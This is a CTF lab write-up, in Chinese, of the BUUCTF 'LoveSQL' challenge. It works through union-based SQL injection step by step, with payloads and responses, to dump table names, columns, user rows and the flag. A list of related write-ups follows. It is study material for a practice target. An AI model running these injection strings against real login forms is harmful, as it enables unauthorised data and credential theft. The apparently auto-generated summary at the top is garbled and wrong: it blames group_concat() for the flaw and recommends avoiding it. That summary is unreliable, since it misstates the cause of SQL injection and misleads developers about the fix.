[BUUCTF][Web][极客大挑战 2019]LoveSQL 1

buuctf,web,挑战,lovesql · 浏览次数 : 23

小编点评

**漏洞分析** 当用户输入以下 URL 时,可能发生 SQL 注入漏洞: ``` 123' union select 1,2,3 #返回Hello geek!Your password is 'geekuser,l0ve1ysq1' ``` **漏洞分析** 该漏洞利用了 SQL 语句中的 `group_concat()` 函数,当用户输入 `123' union select 1,2,3 #返回Hello geek!Your password is 'geekuser,l0ve1ysq1'` 时,`group_concat()` 函数会将所有字段的值连接在一起,导致 SQL 语句无法正确处理。 **解决方案** 避免使用 SQL 语句中的 `group_concat()` 函数或类似的函数,以及在用户输入数据之前对 SQL 语句进行编码。

正文

打开靶机url,页面显示有两个输入框,框中输入123',发现两个框都有sql注入问题
爆出一下错误
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''123''' at line 1
尝试以下注入,爆出数据库名称
123'; database() #

返回

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'database() #'' at line 1

说明不能使用堆叠注入这么搞

尝试union注入
123' union select 1 #

返回

The used SELECT statements have a different number of columns
说明有戏!继续增加select字段常数的个数,最后到这个时返回正常
123' union select 1,2,3 #

返回

Login Success!

Hello 2!
Your password is '3'

说明展示的是查询的第二个字段和和第三个字段

构造sql
123' union select 1,database(),3 #

返回

Hello geek!

Your password is '3'

成功之道数据库叫 geek

再次构造sql查出表名
# 这里写不行,3 放到最后会爆语法错误
123' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database(),3 #
# 这样写ok,把子查询放到最后
123' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database() #

返回

Hello 2!

Your password is 'geekuser,l0ve1ysq1'
推测flag内容在l0ve1ysq1,开始爆该表的字段
123' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

返回

Hello 2!
Your password is 'id,username,password'
有了表名和列名,就可以尝试把数据查出来,构造sql
123' union select id,username,password from l0ve1ysq1 limit 1 #
123' union select id,username,password from l0ve1ysq1 limit 2,1 #

返回

Hello cl4y!

Your password is 'wo_tai_nan_le'

说明这么搞ok

换种快速的方式
# 这样也ok,但是有点慢
123' union select id,username,password from l0ve1ysq1 limit 2,1 #
# 这样更ok,快一点
123' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

返回

Hello 2!

Your password is '1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{172a03e1-ad34-4139-8e61-8cb1c747e4a8}'
boom 获得flag flag

与[BUUCTF][Web][极客大挑战 2019]LoveSQL 1相似的内容:

[BUUCTF][Web][极客大挑战 2019]LoveSQL 1

打开靶机url,页面显示有两个输入框,框中输入123',发现两个框都有sql注入问题 爆出一下错误 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server versi

[BUUCTF][Web][极客大挑战 2019]EasySQL 1

打开靶机对应的url 界面显示需要输入账号和密码 分别在两个输入框尝试加单引号尝试是否有sql注入的可能,比如 123' 发现两个框可以注入,因为报了个错误信息 You have an error in your SQL syntax; check the manual that correspon

[BUUCTF][Web][极客大挑战 2019]Havefun 1

打开靶机的URL,看到一个页面 右键查看源代码,看到有用信息 ...

[BUUCTF][Web][极客大挑战 2019]Secret File 1

打开靶机对应的url 右键查看网页源代码,查看到一个访问路径 /Archive_room.php 构造url访问一下 http://3bfaebad-fdfa-4226-ae0a-551f0228becb.node4.buuoj.cn:81/Archive_room.php 右键再次查看源代码,有一

[BUUCTF][WEB][极客大挑战 2019]Knife 1

这题几乎是送分 题目不断暗示,后台存在一句话木马 拿个蚁剑连上去就完事了 这里用curl 连上去,演示一下,理解一下其中的原理 #注意 phpinfo() 后面的分号不能省 curl -d "Syc=phpinfo();" http://32a31ff6-2815-4485-a74e-e646f67

[BUUCTF][WEB][极客大挑战 2019]Http 1

打开靶机提供的url 右键查看网页源代码 发现一个链接 (Secret.php),访问看看 返回: It doesn't come from 'https://Sycsecret.buuoj.cn' 这是个题眼 通过burpsuite拦截请求,请求头新增修改 Referer: https://Syc

[BUUCTF][WEB][极客大挑战 2019]Upload 1

打开靶机url,看到一个页面可以上传文件 上传一个图片试一下,发现上传的路径是 http://a7661b03-4852-41de-9ea4-d48c47cb50f0.node4.buuoj.cn:81/upload_file.php 试一下获取文件列表路径 http://a7661b03-4852

[BUUCTF][WEB][极客大挑战 2019]BabySQL 1

靶机打开url 界面上显示,它做了更严格的过滤。看来后台是加了什么过滤逻辑 老规矩先尝试时候有sql注入的可能,密码框输入 123' 爆出sql错误信息,说明有注入点 构造万能密码注入 123' or 1=1 # 居然爆出sql错误, ...version for the right syntax

[BUUCTF][WEB][极客大挑战 2019]PHP 1

打开靶机URL 看到字面提示 因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯不愧是我!!! 说明该网站有备份,说不定放在了Http服务器的某个目录下 那么这里我们可以用dirsearch 扫描一下这个服务器 执行命令 dirsearch -u http://2999dfd5-1d43

[BUUCTF][Web][HCTF 2018]WarmUp 1

这题已经标识为php 代码审计题,那么需要搞到源码才行 打开靶机对应的url,展示的是一张笑脸图片 右键查看网页源代码